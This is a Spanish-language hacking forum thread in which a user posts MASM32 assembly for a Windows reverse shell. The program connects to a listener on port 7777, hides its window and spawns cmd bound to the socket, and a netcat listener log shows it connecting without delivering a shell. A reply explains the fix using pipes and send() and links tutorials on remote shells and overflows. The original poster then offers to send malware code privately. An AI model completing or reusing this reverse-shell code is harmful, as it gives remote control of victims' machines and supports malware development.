Páginas: [1]
|
 |
|
Autor
|
Tema: Reverse Shell con MASM32 (Leído 660 veces)
|
Rozor
Desconectado
Mensajes: 229
As I Walk Through The Valley Of The Shadow Of Dead
|
Hola, he estado programando una shell inversa en MASM. El tema es que ensambla y conecta pero no envia shell. Hos dejo el codigo para que lo veais .386 .model flat,stdcall
option casemap:none
include \masm32\include\wsock32.inc include \masm32\include\windows.inc include \masm32\include\kernel32.inc
includelib \masm32\lib\wsock32.lib includelib \masm32\lib\kernel32.lib
.data
Ip db "127.0.0.1",0 App db "cmd", 0 Puerto dd 7777 wsa WSADATA <> sinnnn sockaddr_in <> sinfo STARTUPINFO <> pinfo PROCESS_INFORMATION <>
.data? Socket dd ?
.code
Inicio: invoke WSAStartup, 00100000b, addr wsa invoke socket, AF_INET, SOCK_STREAM, 0 mov Socket,eax mov sinnnn.sin_family, AF_INET invoke htons, Puerto mov sinnnn.sin_port, ax invoke inet_addr, addr Ip mov sinnnn.sin_addr, eax invoke connect, Socket, addr sinnnn, sizeof sinnnn mov sinfo.cb, sizeof STARTUPINFO mov sinfo.wShowWindow, SW_HIDE mov sinfo.lpReserved, NULL mov sinfo.lpDesktop, NULL mov sinfo.lpTitle, NULL mov sinfo.dwFlags, STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW mov eax, Socket push eax mov [sinfo.hStdInput], eax mov [sinfo.hStdOutput], eax mov [sinfo.hStdError], eax invoke CreateProcess, NULL, addr App, NULL, NULL, 1, 0, NULL, NULL, addr sinfo, addr pinfo invoke ExitProcess, 0 end Inicio
;by Rozor
Ejecucion: (Escucha con netcat ) C:\>nc -vv -l -p7777 listening on [any] 7777 ... DNS fwd/rev mismatch: localhost != mofly connect to [127.0.0.1] from localhost [127.0.0.1] 1791 sent 0, rcvd 0
No envia shell.
|
|
|
|
|
En línea
|
prueba con _asm("codigo");
|
|
|
Achernar
Desconectado
Mensajes: 321
|
uhh buenisimo, pense que era el unico que le intreresaba el codigo de una shell remota  mov eax, Socket push eax mov [sinfo.hStdInput], eax mov [sinfo.hStdOutput], eax mov [sinfo.hStdError], eax en este momento no tengo tiempo asi que te escribo lo poco que me acuerdo y despues investigo un poco mas... creo que lo que hiciste mal aca es que le pasaste el manejador del socket a la estructura, pero creo que le tenes que pasar el manejador de un pipe y creo que no puede ser el mismo para salida y para entrada (hay pipes de una y dos direcciones o algo asi  yo me refiero a los unidireccionales) despues tu aplicacion tendria que recoger los datos a traves de los pipes y enviarlos con send(), y ademas creo que tendrias que programar la aplicacion que recibe los mensajes. Che si te interesa me anoto para hacer esto juntos de verdad que me interesa mucho, ya hace un tiempo habia hecho algo muy rustico pero parecido en VB. solo que sin sokets... era una aplicacion que se comunicaba por pipes con una consola de ms-dos aca hay un poco sobre pipes... http://www.hackemate.com.ar/mirrors/karpoff/manuales/asm_win32/tut21_es.html
|
|
|
|
|
En línea
|
|
|
|
Achernar
Desconectado
Mensajes: 321
|
jajajajaj no me equivocaba cuando programando pipes sospechaba que eso era lo que se usaba para crear una shell remota http://foro.elhacker.net/index.php/topic,156056.0.htmly acà esta lo que encontre.. es un texto que explica como programar una shell remota (no inversa, la inversa es mas facil porque es un cliente. una shell remota directa es mas dificil poque hay que usar ademas las funciones bind, listen y accept... ya que se trata de un server con todas las de la ley) Este texto confirma mis sospechas sobre los pipes... estan muy bien explicados los pasos... directamente lei el texto y ni mire el codigo, viendo las funciones lo hice en VB6 sin la funcion peeknamedpipe (lo que me ocaciono elgunas colgadas cuando leia un pipe si que tenga datos) y funka bastante bien... voy a ver si lo puedo codear en masm32. sin mas preambulos... http://community.corest.com/~juliano/P55-15-win32_overflow-es.txtPD: la verdad que seria genial conectar la shell un servidor de IRC y chatear un rato con el... 
|
|
|
|
|
En línea
|
|
|
|
|
|
Rozor
Desconectado
Mensajes: 229
As I Walk Through The Valley Of The Shadow Of Dead
|
Pues muchas gracias tio de verdad me has echo un rey. He visto un post tuyo, si quieres codigo malware mandame un privado y te envio algo gracias compi 
|
|
|
|
|
En línea
|
prueba con _asm("codigo");
|
|
|
|
Páginas: [1]
|
|
|
|